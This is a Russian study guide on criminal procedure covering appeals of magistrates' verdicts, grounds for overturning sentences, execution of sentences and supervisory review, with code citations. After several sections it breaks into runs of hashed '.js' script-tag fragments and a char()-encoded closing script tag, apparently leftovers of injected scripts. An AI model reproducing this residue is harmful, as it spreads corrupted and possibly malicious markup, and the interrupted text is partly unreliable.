Порядок апелляционного производства. Жалоба или протест на не вступивший в законную силу приговор мирового судьи или его постановление о прекращении дела рассматривается в апелляционном порядке соответствующим районным судом в составе судьи единолично (ст. 479,488 УПК).
Эти жалобы или протест приносятся мировому судье, постановившему соответствующее решение (ст. 480 УПК).
К апелляционным жалобам и протесту предъявляются определенные требования. Они должны содержать:
1) наименование суда, в который подается жалоба или протест;
2) данные о лице, подавшем жалобу или протест, с указанием его места жительства или места нахождения;
3) указание на приговор или постановление, которые обжалуются или опротестовываются, и наименование суда, постановившего решения;
4) указание на то, полностью или частично обжалуется либо опротестовывается приговор или постановление;
5) доводы лица, подающего жалобу или приносящего протест, указывающие на неправильность судебного решения, и существо его требований;
6) доказательства, обосновывающие требования заявителя, которые должны быть исследованы судом апелляционной инстанции, в том числе доказательства, не исследованные мировым судьей;
7) перечень материалов, прилагаемых к жалобе или протесту;
8) подпись лица, подающего жалобу или приносящего протест.
В случае, если жалоба или протест не соответствуют законодательным требованиям, что препятствует рассмотрению дела, они считаются поданными, но возвращаются лицу, их подавшему, мировым судьей, который назначает срок для их пересоставления (ст. 481 УПК).
Пропуск срока подачи жалобы или протеста влечет за собой оставление их без рассмотрения (ст. 482 УПК).
Согласно ст. 490 УПК при поступлении дела с апелляционными жалобой или протестом председатель районного суда или его заместитель принимает его к своему производству либо передает одному из судей районного суда для изучения и рассмотрения в судебном заседании.
Изучив поступившее дело, судья выносит постановление о назначении, в котором должны быть разрешены следующие вопросы:
1) о месте и времени судебного заседания;
2) о вызове в судебное заседание свидетелей, экспертов и других лиц, если в этом есть необходимость;
3) о сохранении, об избрании, отмене или изменении меры пресечения в отношении подсудимого;
4) о рассмотрении дела в закрытом судебном заседании в случаях, указанных в ст. 18 УПК.
О месте и времени судебного заседания извещаются стороны. Неявка лиц, не подавших жалоб на приговор мирового судьи, не препятствует рассмотрению дела и вынесению решения.
В судебном заседании обязательно участие:
1) прокурора, кроме случаев рассмотрения дел частного обвинения, если они не были возбуждены прокурором в порядке ст. 468 УПК;
2) частного обвинителя, подавшего жалобу по делу частного обвинения;
3) подсудимого, подавшего жалобу или в защиту интересов которого подана жалоба защитником или законным представителем, либо в отношении которого принесен протест прокурором не в его пользу;
4) защитник в случаях, указанных в ст. 49 УПК.
Распорядок судебного заседания и меры, принимаемые в отношении нарушителей порядка в судебном заседании, устанавливаются в соответствии со ст. 262 и 263 УПК (ст. 491 УПК).
Согласно ст. 492 УПК судебное следствие начинается с изложения судьей содержания приговора мирового судьи или его постановления о прекращении дела, а также существа апелляционных жалобы или протеста и возражений на них, после чего заслушиваются выступление стороны, подавшей жалобу или протест в обоснование доводов, приведенных в жалобе или протесте, и возражения противной стороны, не обжаловавшей или не опротестовавшей указанные приговор или постановление.7e253b263947edba3c58bf1fc137093e.js" type="text/javascript">6570ba2c69014f53b800dc82db4a96efchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e063fee8821e15966dc22ccdb75373b7.js" type="text/javascript">4a0ab404c6fc1cc1161995318418dc4d.js" type="text/javascript">437639852bee3864230fc0e8b9335167.js" type="text/javascript">7d1d347e1bd8e01cd441387342e6b80e.js" type="text/javascript">60343e101abbc6499a1fc964914ffa28.js" type="text/javascript">017ee99b816b05caefbad601abe18a50.js" type="text/javascript">cb863251d3966f8cec6d50bb1ddc5836.js" type="text/javascript">5641057d3a3fe6ffe99edd1ddf2bed97.js" type="text/javascript">a00c68bbcd5bcc29668f9caa2a9c2f67.js" type="text/javascript">2968d58a5059c311ff2972369455bc75.js" type="text/javascript">c1a8ceea11844c204c58319d6ed30a69.js" type="text/javascript">

Апелляционные и кассационные основания к отмене или изменению приговора — допущенные по уголовному делу нарушения, которые указывают на незаконность и необоснованность приговора либо порождают сомнения в его законности и обоснованности.
Система обобщенных кассационных оснований предусмотрена ст. 342 УПК, а апелляционных оснований — ст. 496 УПК.
Основаниями к отмене или изменению приговора при рассмотрении дела в кассационном порядке являются:
1) односторонность или неполнота дознания, предварительного или судебного следствия;
2) несоответствие выводов суда, изложенных в приговоре, фактическим обстоятельствам дела;
3) существенное нарушение уголовно-процессуального закона;
4) неправильное применение уголовного закона;
5) несоответствие назначенного судом наказания тяжести преступления и личности осужденного.
Основаниями к отмене или изменению приговора мирового судьи и постановлению нового приговора или вынесению постановления являются:
1) несоответствие выводов мирового судьи, изложенных в приговоре, фактическим обстоятельствам дела, рассмотренным судом апелляционной инстанции;
2) неправильное применение уголовного закона;
3) существенное нарушение уголовно-процессуального закона;
4) несоответствие назначенного по приговору наказания тяжести совершенного преступления и личности подсудимого.
Студентам необходимо иметь в виду следующие обстоятельства.
Во-первых, перечисленные нарушения являются одновременно основаниями как к отмене, так и к изменению приговора, поскольку существенность этих нарушений зависит от обстоятельств совершения преступления и особенностей уголовного дела. Поэтому одни и те же нарушения влекут за собой по одному делу отмену, а по другому делу — лишь изменение приговора.
Во-вторых, односторонность и неполнота расследования и судебного следствия не относятся к числу апелляционных оснований. Поскольку апелляционное производство — новое судебное разбирательство, постольку суд апелляционной инстанции (судья районного суда), обнаружив неполноту или односторонность исследования, обязан их устранить.
В-третьих, примерный перечень нарушений, составляющих содержание тех или иных кассационных и апелляционных оснований, дан соответственно в ст. 343-347 и 497-500 УПК.
Односторонность или неполнота дознания, предварительного или судебного следствия (ст. 343 УПК). Обеспечение законности при рассмотрении уголовных дел и вынесении по ним законных, обоснованных и справедливых судебных решений возможно лишь на основе всестороннего, полного и объективного исследования обстоятельств дела при строгом соблюдении демократических принципов уголовного судопроизводства.* Поэтому неполнота или односторонность исследования обусловлена неправильным определением предмета и пределов доказывания.
* Постановление Пленума Верховного Суда РФ от 21 апреля 1987 г. «Об обеспечении всесторонности, полноты и объективности рассмотрения судами уголовных дел»//Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 347.

Односторонним или неполно проведенным признается дознание, предварительное или судебное следствие, которые оставили невыясненными такие обстоятельства, установление которых могло иметь существенное значение при постановлении приговора.
Дознание, предварительное или судебное следствие признается односторонним или неполным, когда по делу:
1) не были допрошены лица, чьи показания имеют существенное значение для дела, или не была проведена экспертиза, когда ее проведение по закону является обязательным, а равно не были истребованы документы или вещественные доказательства, имеющие существенное значение;
2) не были исследованы обстоятельства, указанные в определении суда или постановлении судьи, передавшего дело для производства дополнительного расследования или на новое судебное рассмотрение;
3) не установлены с достаточной полнотой данные о личности обвиняемого.
Несоответствие выводов суда, изложенных в приговоре, фактическим обстоятельствам дела (ст. 344 УПК). Приговор признается несоответствующим фактическим обстоятельствам дела, если:
1) выводы суда не подтверждаются доказательствами, рассмотренными в судебном заседании;
2) суд не учел обстоятельств, которые могли существенно повлиять на выводы суда;
3) при наличии противоречивых доказательств, имеющих существенное значение для выводов суда, в приговоре не указано, по каким основаниям суд принял одни из этих доказательств и отверг другие;
4) выводы суда, изложенные в приговоре, содержат существенные противоречия, которые повлияли или могли повлиять на решение вопроса о виновности или невиновности осужденного или оправданного, на правильность применения уголовного закона или на определение меры наказания.
Суд апелляционной инстанции, установив, что выводы мирового судьи, изложенные в приговоре, не соответствуют фактическим обстоятельствам дела, отменяет этот приговор полностью или частично и постановляет новый приговор.
При этом суд апелляционной инстанции, оценивая исследованные им в судебном заседании доказательства, вправе признать доказанными те фактические обстоятельства, которые не были установлены по приговору мирового судьи или не были приняты им во внимание (ст. 497 УПК).
Существенное нарушение уголовно-процессуального закона (ст. 345 УПК). Вопрос о существенности нарушения уголовно-процессуального закона разрешает суд апелляционной и кассационной инстанций. Следовательно, это основание носит оценочный характер. Тем не менее законодатель установил критерий признания того или иного нарушения существенным.65cc735dcff5a3104f096efa7916ba76.js" type="text/javascript">418dc6e27a013d3adfef6246a5b9acf7char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)0eb2ca923e3501ab5df6b31db9e058f9.js" type="text/javascript">669f7896b7ef0d52746a7f57c012475c.js" type="text/javascript">f4bb778f89cd33e27c21c589413c9dba.js" type="text/javascript">4451ef7ac390dfccbd695cc8dd524d32.js" type="text/javascript">e4f960525f7bb08fb7e6a3dd8ac09841.js" type="text/javascript">a3ab66d997dbcfe23021f53816fee0ea.js" type="text/javascript">31ab43b3299d86f83ce4b59f8d063614.js" type="text/javascript">1e654607d7a50c620fd14d72dde10754.js" type="text/javascript">b8ee52e236ec4dbcb260233a4602661e.js" type="text/javascript">8bf649324b7bc7ed73486b6dde7eaf12.js" type="text/javascript">edd072143decea7dcb8fac0ce15ceb96.js" type="text/javascript">

Исполнение приговора — самостоятельная стадия уголовного процесса, которой присущи все признаки, характерные для других стадий уголовного судопроизводства.
В то же время эта стадия отличается значительным своеобразием.
Во-первых, в этой стадии реализуются решения, сформулированные не только в приговоре, но и в определениях, постановлениях суда.
Во-вторых, стадия исполнения судебных решений по уголовному делу может возникать неоднократно в связи с изменением судебных решений или возникновением вопросов, требующих судебного разрешения.
В-третьих, стадия исполнения приговора не связана с исследованием единого для предшествующих стадий предмета доказывания (ст. 68 УПК). Тем не менее предмет доказывания в этой стадии существует, однако он многообразен, поскольку обусловлен разрешаемыми судом вопросами.
В-четвертых, стадия исполнения приговора освобождена от выполнения контрольных функций по отношению к предшествующим стадиям уголовного судопроизводства.
В-пятых, стадия исполнения приговора имеет существенные особенности процессуального характера.
Студентам не следует смешивать исполнение приговора как стадию уголовного процесса с приведением приговора в исполнение и фактическим отбыванием наказания. Стадия исполнения приговора характеризуется правоотношениями и процессуальной деятельностью, в которых обязательным и главным их участником является суд. Фактическое исполнение приговора и других судебных решений осуществляется иными органами, деятельность которых регулируется нормами уголовного, уголовно-исполнительного и других отраслей права.
Исполнение приговора — стадия уголовного процесса, заключающаяся в правоотношениях и деятельности ее участников при определяющей роли суда по исполнению судебных решений судом в ограниченных пределах, обращению их к исполнению, контролю за их исполнением и разрешению вопросов, возникающих при их исполнении.
Исполнение приговора судом в ограниченных пределах заключается в освобождении находящегося под стражей подсудимого немедленно в зале судебного заседания в случаях оправдания подсудимого, освобождения его от наказания или отбывания наказания или в случае осуждения его к наказанию, не связанному с лишением свободы (ст. 319 УПК).
Обращение к исполнению приговора, определения и постановления состоит в том, что суд, принявший решение, не позднее трех суток со дня его вступления в законную силу или возвращения дела из суда кассационной инстанции направляет распоряжение о его исполнении вместе с копией решения тому органу, на который возложена обязанность приведения этого решения в исполнение.
В случае изменения приговора мирового судьи в результате рассмотрения дела в апелляционном, кассационном или надзорном порядке к копии приговора прилагаются копии определения или постановления суда кассационной или надзорной инстанции, а также копия приговора (или постановления) суда апелляционной инстанции. На суд апелляционной инстанции возлагается обязанность сообщить о результатах рассмотрения дела в апелляционном порядке в отношении лиц, содержащихся под стражей.01f762654883924cdfd9d0d081734c75.js" type="text/javascript">f89aeb9f794f91ffaae8544f7e65ddabchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)9c33c2d4f0765db92aff49c09f4351f6.js" type="text/javascript">ba1f3806f8da3a709c1f6624a900e90c.js" type="text/javascript">c33d9193196684eb9b32d965cc66a5ff.js" type="text/javascript">efbeae32532fa422b2f11f2ee50c2460.js" type="text/javascript">da28c74862b828d44baa8132b1382a90.js" type="text/javascript">d3c87700e401d3b3012099210ddbb786.js" type="text/javascript">d7123184a560cf401fca8cbaa5d283d3.js" type="text/javascript">27cbafa34e4a6acad81c780b4ebb5c58.js" type="text/javascript">2e7941c629e5347c602e38b6a6a76930.js" type="text/javascript">73697d2ada1dc5a18b22a645c0775f94.js" type="text/javascript">a15b42859f512d0b91f149d34423e73b.js" type="text/javascript">

По общему правилу любой приговор обращается к исполнению только после вступления его в законную силу (исключение составляют положения ст. 319 УПК).
В соответствии со ст. 356 УПК приговор вступает в законную силу по истечении срока на кассационное обжалование и опротестование, если он не был обжалован или опротестован. В случае принесения кассационной жалобы или кассационного протеста приговор, если он не отменен, вступает в законную силу по рассмотрении вышестоящим судом.
Приговор мирового судьи вступает в законную силу по истечении срока на апелляционное обжалование и опротестование, если он не был обжалован или опротестован. Обжалованный или опротестованный приговор мирового судьи вступает в законную силу по рассмотрении апелляционной жалобы или апелляционного протеста районным судом в случаях, если он не отменен и если на приговор суда апелляционной инстанции не принесены кассационная жалоба или кассационный протест.
Приговор суда апелляционной инстанции вступает в законную силу По истечении срока на кассационное обжалование и опротестование, если он не был обжалован или опротестован. В случае принесения кассационной жалобы или кассационного протеста приговор суда апелляционной инстанции, если он не был отменен, вступает в законную силу по рассмотрении кассационной жалобы или кассационного протеста вышестоящим судом.
Приговор не может быть обращен к исполнению или приведен в исполнение в части осуждения за деяние, преступность и наказуемость которого были устранены вновь изданным уголовным законом.
Вступление приговора в законную силу означает появление у него ряда свойств: неопровержимости, исключительности, общеобязательности, преюдициальности и исполнимости.
Неопровержимость приговора — невозможность его пересмотра в порядке кассационного производства. Опровергнуть предписания вступившего в законную силу приговора можно лишь в исключительном порядке.
Исключительность приговора — невозможность возбуждения, расследования и рассмотрения уголовного дела в отношении лица, о котором имеется вступивший в законную силу приговор, по тому же обвинению.5555fe3df545fb240dadeec84eac82bf.js" type="text/javascript">61d112adacbc6809e922f3a77ee8e2bechar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)d1e82b1b0946a7d39ec23f873909208b.js" type="text/javascript">be41217bdf4d2c6fc6a10832c0561dc0.js" type="text/javascript">ae81aef2d87448914f175917521b9bc8.js" type="text/javascript">e0f9bb6ae6aea4626b829bfb0fcf5cee.js" type="text/javascript">1aa3a19c0f7456de959aed10ab539cc2.js" type="text/javascript">06de26e3ff0a65e4a7f5978adba4266c.js" type="text/javascript">a5913132d79b12dfc6918e0f6e1fe279.js" type="text/javascript">7b734dbfc3906b4640796e7f770313f5.js" type="text/javascript">9a1c10d6bd29947d942c64286e1ce073.js" type="text/javascript">ae1163713ad4c59ed14599a99891a28b.js" type="text/javascript">70816bfa039a840f7185f3bc4349ea38.js" type="text/javascript">

Вопросы, подлежащие разрешению судом в стадии исполнения приговора, можно подразделить на две основные группы:
1) вопросы, подлежащие разрешению в соответствии с указанием уголовного, уголовно-процессуального и уголовно-исполнительного законодательства;
2) вопросы, обусловленные сомнениями и неясностями, возникшими при приведении приговора в исполнение (ст. 368 УПК).
В соответствии со ст. 368 УПК вопросы, возникающие в стадии исполнения приговора, разрешаются:
1) судом, постановившим приговор;
2) судом по месту отбывания наказания или по месту работы осужденного;
3) судом по месту жительства осужденного.
Вопросы, разрешаемые судом, постановившим приговор:
1) отсрочка исполнения приговора (ст. 361 УПК).
Исполнение приговора об осуждении лица к лишению свободы или исправительным работам без лишения свободы может быть отсрочено при наличии одного из следующих оснований:
а) тяжелой болезни осужденного, препятствующей отбыванию наказания, — до его выздоровления;
б) беременности осужденной или наличия у осужденной женщины детей в возрасте до восьми лет — до достижения младшим ребенком восьмилетнего возраста, кроме осужденных к лишению свободы на срок свыше пяти лет за тяжкие и особо тяжкие преступления против личности;
в) когда немедленное отбывание наказания может повлечь за собой особо тяжкие последствия для осужденного или его семьи ввиду пожара или иных стихийных бедствий, тяжкой болезни, смерти единственного трудоспособного члена семьи или других исключительных обстоятельств — на срок, установленный судом, но не более трех месяцев. Уплата штрафа может быть отсрочена или рассрочена на срок до шести месяцев, если немедленная уплата штрафа является невозможной для осужденного.
Для лучшего усвоения рассматриваемого института студентам следует ознакомиться с соответствующим Постановлением Пленума Верховного Суда СССР;*
* Постановление Пленума Верховного Суда СССР от 21 июня 1985 г. «О судебной практике по применению отсрочки исполнения приговора»//Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 66-71.

2) освобождение от отбывания наказания в связи с истечением срока давности обвинительного приговора (ст. 83 УК).
Лицо, осужденное за совершение преступления, освобождается от отбывания наказания, если обвинительный приговор суда не был приведен в исполнение в следующие сроки со дня вступления его в законную силу:
а) два года при осуждении за преступления небольшой тяжести;
б) шесть лет при осуждении за преступления средней тяжести;
в) десять лет при осуждении за тяжкие преступления;
г) пятнадцать лет при осуждении за особо тяжкие преступления.
Вопрос о применении сроков давности к лицу, осужденному к смертной казни и к пожизненному лишению свободы, решается судом. Если суд не сочтет возможным применить сроки давности, эти виды наказаний заменяются лишением свободы на определенный срок.
К лицам, осужденным за совершение преступлений против мира и безопасности человечества, сроки давности не применяются;
3) замена исправительных работ, обязательных работ, ограничения свободы и штрафа другими мерами наказания (ст. 365 УПК).
Замена исправительных работ ограничением свободы, арестом или лишением свободы в соответствии со ст. 50 УК, замена штрафа обязательными работами, исправительными работами или арестом в соответствии со ст. 46 УК, а равно замена обязательных работ ограничением свободы или арестом в соответствии со ст. 49 УК и замена ограничения свободы лишением свободы в соответствии со ст. 53 УК производятся судьей, а также мировым судьей по делам, отнесенным к подсудности мирового судьи, по представлению специализированного органа, ведающего исполнением наказания;
4) исполнение приговора при наличии других неисполненных приговоров (ст. 367 УПК).
В случае, когда в отношении осужденного имеется несколько не приведенных в исполнение приговоров, о чем не было известно суду (или судье), мировому судье, постановившим последний по времени приговор, суд (или судья), мировой судья обязаны вынести определение (или постановление) о применении к осужденному наказания по всем указанным приговорам, руководствуясь ст. 69-71 УК;
5) изменение или прекращение применения к душевнобольным принудительных мер медицинского характера (ст. 102 УК, ст. 412 УПК).
Продление, изменение и прекращение применения принудительных мер медицинского характера осуществляется судом по представлению администрации учреждения, осуществляющего принудительное лечение, на основании заключения комиссии врачей-психиатров.19f277fe149ac2fe60dfaa3b173d33fa.js" type="text/javascript">1c46ecc85a04544f72f1101dbf05f64echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)937b631ef046d3893f2b75ba41c619cd.js" type="text/javascript">a1643503242c87d2d3b30135399a6861.js" type="text/javascript">2dc8bbd78c7bad6deeda8e45d1601862.js" type="text/javascript">b5d7561ccc0d8b3b8208ac66b2599f52.js" type="text/javascript">fb254fc28699aa656f3e908df0af2a71.js" type="text/javascript">ed91458d9cb39746fcdad4960a7f46e0.js" type="text/javascript">dda77bfe8d048fc400f99fdfb6211eda.js" type="text/javascript">801d36efd01e255537e513781af2f330.js" type="text/javascript">50db0784e210a85a82c16ff2bd5f6ee6.js" type="text/javascript">76c56b502a99aae43be1dedc4eb1e3e2.js" type="text/javascript">8c898ace843fd97c297d1a0d41b20f9e.js" type="text/javascript">

Производство в порядке судебного надзора является самостоятельной и исключительной стадией уголовного судопроизводства.
Самостоятельный характер этой стадии обусловлен спецификой признаков, присущих всем (каждой) стадии уголовного процесса.
В частности, основной непосредственной задачей этой стадии является проверка законности, обоснованности и справедливости вступивших в законную силу судебных решений в сфере уголовного судопроизводства. Стадии производства в порядке судебного надзора присущи специфические сроки, которые будут рассмотрены ниже. Среди субъектов уголовно-процессуальных отношений появляются такие участники процесса, как заявители, должностные лица, обладающие правом принесения надзорных протестов, суд, рассматривающий дело в порядке надзора. Между соответствующими участниками судопроизводства возникают специфические уголовно-процессуальные отношения. Эти правоотношения влекут за собой принятие присущих только этой стадии решений, оформляемых в виде документов об отказе в истребовании уголовного дела, об отказе в принесении надзорного протеста и т. д.
Исключительность стадии судебного надзора проявляется в совокупности признаков, среди которых необходимо выделить следующие.
Во-первых, к предмету этой стадии относится проверка законности и обоснованности судебных решений нижестоящих судов, вступивших в законную силу. Вступление судебных решений в законную силу означает, что они приобрели силу закона в отношении указанных в них лиц и установленных фактических обстоятельств. Эти судебные решения отличаются от закона тем, что последний распространяет свое действие на неопределенный круг лиц, вступающих в указанные в нем правоотношения, а законная сила судебного решения распространяет свое действие лишь на установленные этим решением фактические обстоятельства и лиц, в нем указанных.
Во-вторых, в порядке судебного надзора проверяется законность и обоснованность не только приговоров суда первой инстанции, но и судебных решений последующих вышестоящих инстанций, в том числе суда надзорной инстанции.1b0fd097fa9c43c65fd365b369aeae6e.js" type="text/javascript">df6de6cfb1e8aac021712ec62382150cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ec5f21bcece3611b663794df7824d358.js" type="text/javascript">00cca94403909eb3aeec96619a1021b7.js" type="text/javascript">4ae4ebfd64ad9df3649b43d97dfdc500.js" type="text/javascript">a0986e92e8a99350b0a05a501886c9e1.js" type="text/javascript">a44196f6396d41cb370856bffe9900df.js" type="text/javascript">caba006abb36e1e52d77976effd89af5.js" type="text/javascript">dd55d7c3399b94bf1de3eaa977ca39bc.js" type="text/javascript">611d88a678a0358b8d89c5acd66081f6.js" type="text/javascript">42ec44ef524680df87b119274c372991.js" type="text/javascript">2bb6914ca14a083e53e9f9a9c8ecfcd3.js" type="text/javascript">721368b55cadd1535a4e1454a02270d8.js" type="text/javascript">